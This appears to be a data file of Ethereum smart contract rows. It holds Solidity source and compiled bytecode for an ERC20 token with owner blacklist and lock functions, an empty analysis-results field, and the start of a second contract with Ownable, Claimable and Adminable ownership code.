function unblacklistTarget(address payable targetaddress) public onlyOwner returns (bool){
_wantunblacklist(targetaddress);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
lockDetail storage sys = _lockInfo[sender];
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(_blacklist[sender] == false, "ERC20: sender address ");
_beforeTokenTransfer(sender, recipient, amount);
if(sys.amountToken > 0){
if(block.timestamp > sys.lockUntil){
sys.lockUntil = 0;
sys.amountToken = 0;
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}else{
uint256 checkBalance = _balances[sender].sub(sys.amountToken, "ERC20: lock amount exceeds balance");
_balances[sender] = checkBalance.sub(amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = _balances[sender].add(sys.amountToken);
_balances[recipient] = _balances[recipient].add(amount);
}
}else{
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _wantLock(address account, uint256 amountLock, uint256 unlockDate) internal virtual {
lockDetail storage sys = _lockInfo[account];
require(account != address(0), "ERC20: Can't lock zero address");
require(_balances[account] >= sys.amountToken.add(amountLock), "ERC20: You can't lock more than account balances");
if(sys.lockUntil > 0 && block.timestamp > sys.lockUntil){
sys.lockUntil = 0;
sys.amountToken = 0;
}
sys.lockUntil = unlockDate;
sys.amountToken = sys.amountToken.add(amountLock);
emit LockUntil(account, sys.amountToken, unlockDate);
}
function _wantUnlock(address account) internal virtual {
lockDetail storage sys = _lockInfo[account];
require(account != address(0), "ERC20: Can't lock zero address");
sys.lockUntil = 0;
sys.amountToken = 0;
emit LockUntil(account, 0, 0);
}
function _wantblacklist(address account) internal virtual {
require(account != address(0), "ERC20: Can't blacklist zero address");
require(_blacklist[account] == false, "ERC20: Address already in blacklist");
_blacklist[account] = true;
emit PutToBlacklist(account, true);
}
function _wantunblacklist(address account) internal virtual {
require(account != address(0), "ERC20: Can't blacklist zero address");
require(_blacklist[account] == true, "ERC20: Address not blacklisted");
_blacklist[account] = false;
emit PutToBlacklist(account, false);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address funder, address spender, uint256 amount) internal virtual {
require(funder != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[funder][spender] = amount;
emit Approval(funder, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | 0x608060405234801561001057600080fd5b50600436106101735760003560e01c806370a08231116100de57806395d89b4111610097578063b36d691911610071578063b36d6919146108b2578063dd62ed3e1461090c578063df698fc914610984578063f2fde38b146109c857610173565b806395d89b4114610767578063a457c2d7146107ea578063a9059cbb1461084e57610173565b806370a08231146105aa578063715018a6146106025780637238ccdb1461060c578063787f02331461066b57806384d5d944146106c55780638da5cb5b1461073357610173565b8063313ce56711610130578063313ce567146103b557806339509351146103d65780633d72d6831461043a57806352a97d521461049e578063569abd8d146104f85780635e558d221461053c57610173565b806306fdde0314610178578063095ea7b3146101fb57806318160ddd1461025f57806319f9a20f1461027d57806323b872dd146102d757806324d7806c1461035b575b600080fd5b610180610a0c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101c05780820151818401526020810190506101a5565b50505050905090810190601f1680156101ed5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102476004803603604081101561021157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610aae565b60405180821515815260200191505060405180910390f35b610267610acc565b6040518082815260200191505060405180910390f35b6102bf6004803603602081101561029357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ad6565b60405180821515815260200191505060405180910390f35b610343600480360360608110156102ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b9a565b60405180821515815260200191505060405180910390f35b61039d6004803603602081101561037157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c73565b60405180821515815260200191505060405180910390f35b6103bd610cc9565b604051808260ff16815260200191505060405180910390f35b610422600480360360408110156103ec57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ce0565b60405180821515815260200191505060405180910390f35b6104866004803603604081101561045057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d93565b60405180821515815260200191505060405180910390f35b6104e0600480360360208110156104b457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e73565b60405180821515815260200191505060405180910390f35b61053a6004803603602081101561050e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f51565b005b6105926004803603606081101561055257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291905050506111a5565b60405180821515815260200191505060405180910390f35b6105ec600480360360208110156105c057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061126d565b6040518082815260200191505060405180910390f35b61060a6112b5565b005b61064e6004803603602081101561062257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611440565b604051808381526020018281526020019250505060405180910390f35b6106ad6004803603602081101561068157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114b4565b60405180821515815260200191505060405180910390f35b61071b600480360360608110156106db57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190505050611592565b60405180821515815260200191505060405180910390f35b61073b61166c565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61076f611696565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156107af578082015181840152602081019050610794565b50505050905090810190601f1680156107dc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6108366004803603604081101561080057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611738565b60405180821515815260200191505060405180910390f35b61089a6004803603604081101561086457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611805565b60405180821515815260200191505060405180910390f35b6108f4600480360360208110156108c857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611823565b60405180821515815260200191505060405180910390f35b61096e6004803603604081101561092257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611879565b6040518082815260200191505060405180910390f35b6109c66004803603602081101561099a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611900565b005b610a0a600480360360208110156109de57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b71565b005b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610aa45780601f10610a7957610100808354040283529160200191610aa4565b820191906000526020600020905b815481529060010190602001808311610a8757829003601f168201915b5050505050905090565b6000610ac2610abb611e09565b8484611e11565b6001905092915050565b6000600554905090565b60006001151560026000610ae8611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514610b88576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806132de6028913960400191505060405180910390fd5b610b9182612008565b60019050919050565b6000610ba784848461214c565b610c6884610bb3611e09565b610c638560405180606001604052806028815260200161330660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610c19611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b611e11565b600190509392505050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600860009054906101000a900460ff16905090565b6000610d89610ced611e09565b84610d848560046000610cfe611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b611e11565b6001905092915050565b6000610d9d611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e5f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610e69838361295d565b6001905092915050565b6000610e7d611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f3f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610f4882612b21565b60019050919050565b610f59611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461101b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60001515600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515146110c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806133e06021913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561114a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806132886026913960400191505060405180910390fd5b6001600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600060011515600260006111b7611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514611257576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806132de6028913960400191505060405180910390fd5b611262848484612cf1565b600190509392505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6112bd611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461137f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600860016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000806000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050806001015442111561149f5760008092509250506114af565b8060000154816001015492509250505b915091565b60006114be611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611580576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b61158982612f2c565b60019050919050565b600060011515600260006115a4611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514611644576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806132de6028913960400191505060405180910390fd5b61165661164f611e09565b858561214c565b611661848484612cf1565b600190509392505050565b6000600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060078054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561172e5780601f106117035761010080835404028352916020019161172e565b820191906000526020600020905b81548152906001019060200180831161171157829003601f168201915b5050505050905090565b60006117fb611745611e09565b846117f6856040518060600160405280602581526020016133bb602591396004600061176f611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b611e11565b6001905092915050565b6000611819611812611e09565b848461214c565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611908611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146119ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60011515600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514611a90576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f4f776e61626c653a2061646472657373206973206e6f742061646d696e00000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611b16576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806132626026913960400191505060405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b611b79611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611c3b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611cc1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806131d26026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600860016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080828401905083811015611dff576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611e97576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806133746024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611f1d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806131f86022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156120ee576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f45524332303a2043616e2774206c6f636b207a65726f2061646472657373000081525060200191505060405180910390fd5b60008160010181905550600081600001819055506000808373ffffffffffffffffffffffffffffffffffffffff167fb0c290412beefc8860665e6cf7c5c66f94b4a25b70735a833d8feddf0868558060405160405180910390a45050565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612215576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602581526020018061334f6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561229b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061316a6023913960400191505060405180910390fd5b60001515600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514612361576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f45524332303a2073656e6465722061646472657373200000000000000000000081525060200191505060405180910390fd5b61236c84848461311a565b6000816000015411156126f15780600101544211156124de5760008160010181905550600081600001819055506124048260405180606001604052806026815260200161323c602691396000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612497826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126ec565b600061254f826000015460405180606001604052806022815260200161321a602291396000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b905061257e8360405180606001604052806026815260200161323c602691398361289d9092919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061261582600001546000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126a8836000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505b612832565b61275c8260405180606001604052806026815260200161323c602691396000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127ef826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a350505050565b600083831115829061294a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561290f5780820151818401526020810190506128f4565b50505050905090810190601f16801561293c5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156129e3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061332e6021913960400191505060405180910390fd5b6129ef8260008361311a565b612a5a816040518060600160405280602281526020016131b0602291396000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ab18160055461311f90919063ffffffff16565b600581905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612ba7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806133986023913960400191505060405180910390fd5b60001515600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514612c50576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061318d6023913960400191505060405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600115158173ffffffffffffffffffffffffffffffffffffffff167f07469826752a90ffdbc376a4452abbd54a67a2f82da817f44fe95644238cb7c260405160405180910390a350565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612dd7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f45524332303a2043616e2774206c6f636b207a65726f2061646472657373000081525060200191505060405180910390fd5b612dee838260000154611d8190919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015612e84576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260308152602001806132ae6030913960400191505060405180910390fd5b60008160010154118015612e9b5750806001015442115b15612eb55760008160010181905550600081600001819055505b818160010181905550612ed5838260000154611d8190919063ffffffff16565b81600001819055508181600001548573ffffffffffffffffffffffffffffffffffffffff167fb0c290412beefc8860665e6cf7c5c66f94b4a25b70735a833d8feddf0868558060405160405180910390a450505050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612fb2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806133986023913960400191505060405180910390fd5b60011515600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514613078576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f45524332303a2041646472657373206e6f7420626c61636b6c6973746564000081525060200191505060405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600015158173ffffffffffffffffffffffffffffffffffffffff167f07469826752a90ffdbc376a4452abbd54a67a2f82da817f44fe95644238cb7c260405160405180910390a350565b505050565b600061316183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061289d565b90509291505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a204164647265737320616c726561647920696e20626c61636b6c69737445524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a206c6f636b20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654f776e61626c653a206f6c642061646d696e20697320746865207a65726f20616464726573734f776e61626c653a206e65772061646d696e20697320746865207a65726f206164647265737345524332303a20596f752063616e2774206c6f636b206d6f7265207468616e206163636f756e742062616c616e6365734f776e61626c653a2063616c6c6572206973206e6f74207468652061646d696e6973747261746f7245524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2043616e277420626c61636b6c697374207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f4f776e61626c653a206164647265737320697320616c72656164792061646d696ea264697066735822122090e9a49cb7ce93e0b3a5e02f88a402a429a907122db65a1e0a837de5e00d92ba64736f6c63430007030033 | {"success": true, "error": null, "results": {}} | 694 |
0x5c186fdcf94e25e82bffc4ce0b367d13aab9c335 | pragma solidity 0.4.25;
// File: openzeppelin-solidity-v1.12.0/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
// File: openzeppelin-solidity-v1.12.0/contracts/ownership/Claimable.sol
/**
* @title Claimable
* @dev Extension for the Ownable contract, where the ownership needs to be claimed.
* This allows the new owner to accept the transfer.
*/
contract Claimable is Ownable {
address public pendingOwner;
/**
* @dev Modifier throws if called by any account other than the pendingOwner.
*/
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
/**
* @dev Allows the current owner to set the pendingOwner address.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
pendingOwner = newOwner;
}
/**
* @dev Allows the pendingOwner address to finalize the transfer.
*/
function claimOwnership() public onlyPendingOwner {
emit OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
// File: contracts/utils/Adminable.sol
/**
* @title Adminable.
*/
contract Adminable is Claimable {
address[] public adminArray;
struct AdminInfo {
bool valid;
uint256 index;
}
mapping(address => AdminInfo) public adminTable;
event AdminAccepted(address indexed _admin);
event AdminRejected(address indexed _admin);
/**
* @dev Reverts if called by any account other than one of the administrators.
*/
modifier onlyAdmin() {
require(adminTable[msg.sender].valid, "caller is illegal");
_;
}
/**
* @dev Accept a new administrator.
* @param _admin The administrator's address.
*/
function accept(address _admin) external onlyOwner {
require(_admin != address(0), "administrator is illegal");
AdminInfo storage adminInfo = adminTable[_admin];
require(!adminInfo.valid, "administrator is already accepted");
adminInfo.valid = true;
adminInfo.index = adminArray.length;
adminArray.push(_admin);
emit AdminAccepted(_admin);
}
/**
* @dev Reject an existing administrator.
* @param _admin The administrator's address.
*/
function reject(address _admin) external onlyOwner {
AdminInfo storage adminInfo = adminTable[_admin];
require(adminArray.length > adminInfo.index, "administrator is already rejected");
require(_admin == adminArray[adminInfo.index], "administrator is already rejected");
// at this point we know that adminArray.length > adminInfo.index >= 0
address lastAdmin = adminArray[adminArray.length - 1]; // will never underflow
adminTable[lastAdmin].index = adminInfo.index;
adminArray[adminInfo.index] = lastAdmin;
adminArray.length -= 1; // will never underflow
delete adminTable[_admin];
emit AdminRejected(_admin);
}
/**
